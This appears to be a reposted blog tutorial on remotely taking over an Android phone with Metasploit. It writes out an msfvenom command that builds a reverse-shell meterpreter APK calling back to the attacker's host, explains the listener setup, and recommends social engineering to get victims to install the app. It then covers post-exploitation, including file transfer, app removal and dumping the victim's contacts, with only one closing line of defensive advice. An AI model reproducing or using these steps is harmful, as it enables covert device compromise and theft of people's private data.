Using Metasploit to remotely hack an Android phone -Hacktechmedia 

The article first appeared on the hackerblackbox blog.

We'll make a payload with msfvenom and save it as an apk file. After we've created the payload, we'll need to add a Metasploit framework listener. An attacker can simply recover a meterpreter session on Metasploit once the target downloads and instals the malicious apk. To install an apk on a victim's mobile device, an attacker must use social engineering techniques.

Making a Payload with msfvenom:

 A Step-by-Step Guide
To begin, start Kali Linux and create an apk file that will be used as a malicious payload. We need to look up our local IP address, which is 192.168.0.112. You can also use your Public/External IP in the LHOST and port forwarding to hack an Android smartphone via the Internet.

Use the msfvenom tool to construct a payload to breach the Android device once you have your local host IP. Type the following command:

# msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.0.112 LPORT=4444 R> /var/www/html/app name.apk

Where the -p specifies the payload type android/metepreter/reverse tcp, indicating that a reverse meterpreter shell would be received from a target Android device.

LHOST is your local IP address, and LPORT is configured as a listening port.

R> /var/www/html would direct the output to the apache server; apk is the final output name.

It would take a long time to build an apk file with almost 10,000 bytes.

Attacking with a Weapon

We must first check the status of the apache server before starting an assault. Type the following command:

# service apache2 status

Now that everything appears to be in order, start msfconsole. Set payload to the same as previously generated, set LHOST and LPORT values to the same as previously used in payload, and finally type exploit to initiate an attack.

Some social engineering approaches can be employed in real-world circumstances to get the target to download the malicious apk file. We are simply accessing the attacker's machine to download the file to the Android device for demonstration purposes.

Select the programme to install after it has been successfully downloaded.

So far, we've encountered this choice a lot while trying to install third-party programmes, and most users won't hesitate to accept installation from unknown sources.

Allow apps to be installed from third-party sources by enabling the settings. Finally, at the bottom, select the install option.

The meterepreter session will be opened immediately at the attacking side when the user instals and launches the application.

After the Exploitation
To list all the sessions, type "background" and then "sessions," from which you can view all the IPs linked to the machine.

By typing sessions -i [session ID], you can interact with any session.

After logging in, type "help" to see a list of all the commands available in this session.

You can notice various file system commands that are useful when you're looking for sensitive data or information. You may quickly download or upload any file or information with these.

There are also other network commands, such as portfwd and route.

Some useful system commands for obtaining a user ID, obtaining a shell, or obtaining entire system information.

The command "app list" will display all of the device's installed apps.

We also have the ability to remove any app from your Android device.

Contacts from an Android Device Extraction

Now type "dump" and double tab to extract some contacts from the destination device.

It will display all of the device's extraction possibilities. Enter "dump contacts" in the search box.

All of the contacts from the Android device will be extracted and saved in our local directory. Type "ls" and "cat [file name]" to see this file.

This would display the contents of the contact's file, which had previously been retrieved from the target device. This information is extremely sensitive, and hackers may be able to take advantage of it.

In meterpreter, there are a slew of additional commands. Continue to investigate and understand what we can do with an Android device. As a result of Kali Linux and Metasploit-Framework, we were able to successfully enter the Android smartphone.

A good way to keep your Android smartphone safe is to avoid installing apps from unknown sources. If you must, read and inspect the source code to see if the file is harmful.

Thanks And Regards

Hacktechmedia 

Prince Barve

White hat Hacker 

www.hacktechmedia.com